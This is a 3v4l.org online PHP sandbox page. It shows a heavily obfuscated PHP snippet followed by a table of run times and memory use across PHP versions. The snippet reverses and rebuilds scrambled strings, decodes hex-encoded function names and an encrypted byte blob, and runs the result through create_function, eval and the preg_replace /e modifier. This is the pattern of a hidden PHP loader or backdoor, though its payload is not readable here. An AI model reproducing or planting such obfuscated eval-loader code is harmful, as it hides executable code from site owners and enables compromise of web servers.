3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $lastest = preg_replace("/(.*)/e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)), NULL); var_dump($lastest);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.75
8.3.50.0070.01221.10
8.3.40.0120.00318.83
8.3.30.0100.01018.84
8.3.20.0080.00020.31
8.3.10.0060.00323.66
8.3.00.0080.00019.69
8.2.180.0120.00318.41
8.2.170.0140.00722.96
8.2.160.0040.01120.40
8.2.150.0040.00424.18
8.2.140.0040.00824.66
8.2.130.0000.00826.16
8.2.120.0060.00317.72
8.2.110.0030.00619.21
8.2.100.0060.00617.63
8.2.90.0030.00919.05
8.2.80.0000.00817.97
8.2.70.0080.00017.75
8.2.60.0040.00417.92
8.2.50.0000.00818.07
8.2.40.0000.01019.39
8.2.30.0040.00419.85
8.2.20.0050.00317.76
8.2.10.0040.00418.07
8.2.00.0050.00318.29
8.1.280.0000.01425.92
8.1.270.0040.00420.38
8.1.260.0090.00026.35
8.1.250.0070.00028.09
8.1.240.0040.00420.93
8.1.230.0110.00017.42
8.1.220.0000.00817.79
8.1.210.0000.00818.77
8.1.200.0060.00317.47
8.1.190.0000.00817.48
8.1.180.0000.00818.10
8.1.170.0090.00018.77
8.1.160.0050.00221.96
8.1.150.0000.00818.82
8.1.140.0040.00417.38
8.1.130.0000.00717.72
8.1.120.0050.00217.51
8.1.110.0070.00317.55
8.1.100.0040.00417.40
8.1.90.0080.00017.44
8.1.80.0030.00617.56
8.1.70.0000.00717.50
8.1.60.0080.00017.49
8.1.50.0050.00317.58
8.1.40.0090.00017.54
8.1.30.0030.00517.80
8.1.20.0050.00317.71
8.1.10.0000.00817.67
8.1.00.0030.00617.45
8.0.300.0060.00318.77
8.0.290.0100.00017.00
8.0.280.0050.00218.59
8.0.270.0080.00017.33
8.0.260.0000.00717.17
8.0.250.0000.00816.98
8.0.240.0030.00317.10
8.0.230.0030.00717.05
8.0.220.0040.00416.99
8.0.210.0040.00416.89
8.0.200.0080.00016.98
8.0.190.0040.00417.02
8.0.180.0020.00517.06
8.0.170.0040.00416.93
8.0.160.0040.00416.98
8.0.150.0030.00317.02
8.0.140.0040.00416.88
8.0.130.0050.00313.44
8.0.120.0080.00016.96
8.0.110.0050.00216.93
8.0.100.0080.00016.85
8.0.90.0000.00816.89
8.0.80.0110.00717.01
8.0.70.0070.00016.82
8.0.60.0040.00417.13
8.0.50.0040.00416.89
8.0.30.0160.00517.19
8.0.20.0140.00917.40
8.0.10.0000.00817.08
8.0.00.0120.00616.72
7.4.330.0030.00315.32
7.4.320.0070.00016.62
7.4.300.0030.00316.55
7.4.290.0030.00316.64
7.4.280.0030.00516.53
7.4.270.0040.00416.59
7.4.260.0030.00316.45
7.4.250.0040.00416.45
7.4.240.0040.00416.61
7.4.230.0000.00716.56
7.4.220.0070.01016.50
7.4.210.0140.00016.43
7.4.200.0060.00316.75
7.4.160.0140.00316.89
7.4.150.0090.00917.40
7.4.140.0160.00917.86
7.4.130.0140.00316.54
7.4.120.0100.00816.53
7.4.110.0090.00916.73
7.4.100.0100.01316.51
7.4.90.0060.01216.54
7.4.80.0080.01119.39
7.4.70.0100.00716.64
7.4.60.0030.01616.71
7.4.50.0060.00316.63
7.4.40.0070.01016.79
7.4.30.0040.01416.46
7.4.00.0040.01514.90
7.3.330.0000.00613.57
7.3.320.0030.00313.43
7.3.310.0030.00316.58
7.3.300.0000.00716.51
7.3.290.0040.01216.46
7.3.280.0090.00816.48
7.3.270.0030.01517.40
7.3.260.0160.00316.49
7.3.250.0100.00816.47
7.3.240.0050.01416.65
7.3.230.0160.00616.70
7.3.210.0150.00916.74
7.3.200.0100.00716.79
7.3.190.0040.01416.67
7.3.180.0100.00716.63
7.3.170.0060.01216.45
7.3.160.0060.01216.52
7.3.10.0150.00316.39
7.3.00.0130.00716.19
7.2.330.0150.00416.88
7.2.320.0120.00916.93
7.2.310.0060.01216.85
7.2.300.0090.01216.96
7.2.290.0040.01617.00
7.2.130.0190.00016.25
7.2.120.0220.00616.73
7.2.110.0160.00816.81
7.2.100.0150.01116.77
7.2.90.0160.00616.64
7.2.80.0100.00817.09
7.2.70.0120.00816.64
7.2.60.0040.01216.89
7.2.50.0150.01216.44
7.2.40.0070.01816.94
7.2.30.0140.00716.72
7.2.20.0130.00916.32
7.2.10.0090.00916.52
7.2.00.0080.01118.27
7.1.250.0130.00615.71
7.1.200.0060.00616.02
7.1.100.0090.00318.21
7.1.70.0000.01016.93
7.1.60.0110.01119.27
7.1.50.0070.01717.19
7.1.00.0030.07722.45
7.0.200.0070.00416.93
7.0.60.0130.07719.91
7.0.50.0100.08017.91
7.0.40.0100.05320.25
7.0.30.0500.05020.09
7.0.20.0370.06720.20
7.0.10.0100.04720.31
7.0.00.0030.05320.21
5.6.280.0070.06321.17
5.6.210.0200.06720.51
5.6.200.0100.07018.18
5.6.190.0170.07720.39
5.6.180.0230.03720.79
5.6.170.0330.06320.39
5.6.160.0170.07320.54
5.6.150.0100.06318.20
5.6.140.0130.04318.18
5.6.130.0100.08018.19
5.6.120.0100.07021.19
5.6.110.0000.06020.93
5.6.100.0100.03721.08
5.6.90.0030.05021.01
5.6.80.0170.04720.43
5.6.70.3170.03720.44
5.5.350.0100.06320.51
5.5.340.0030.05718.00
5.5.330.0030.05320.13
5.5.320.0100.04720.37
5.5.310.0300.08020.32
5.5.300.0070.06018.02
5.5.290.0100.08018.01
5.5.280.0070.06320.73
5.5.270.0130.07720.77
5.5.260.0070.08720.72
5.5.250.0330.06020.81
5.5.240.0000.09020.31
5.4.450.0330.05719.32
5.4.440.0330.05319.71
5.4.430.0370.07319.45
5.4.420.0430.06019.57
5.4.410.0500.06319.21
5.4.400.0370.06319.26
5.4.390.0230.06319.38
5.4.380.0370.08319.26
5.4.370.0200.05719.13
5.4.360.0400.05318.85
5.4.350.0330.04719.38
5.4.340.0200.07019.26
5.4.320.0200.06318.88
5.4.310.0400.04719.30
5.4.300.0230.07319.25
5.4.290.0370.06019.25
5.4.280.0330.06719.14
5.4.270.0100.06719.29
5.4.260.0170.06019.33
5.4.250.0270.06319.28
5.4.240.0070.08319.29
5.4.230.0230.05319.30
5.4.220.0230.06719.14
5.4.210.0200.05719.01
5.4.200.0270.07719.12
5.4.190.0270.05319.11
5.4.180.0130.06318.97
5.4.170.0170.07318.97
5.4.160.0400.04718.99
5.4.150.0230.06719.29
5.4.140.0430.06016.38
5.4.130.0370.05316.38
5.4.120.0270.05716.46
5.4.110.0670.06716.57
5.4.100.0200.08316.51
5.4.90.0470.04316.25
5.4.80.0500.06716.68
5.4.70.0200.06316.32
5.4.60.0300.05316.62
5.4.50.0000.05016.25
5.4.40.0030.06316.50
5.4.30.0070.06716.48
5.4.20.0030.06716.61

preferences:
70.53 ms | 401 KiB | 5 Q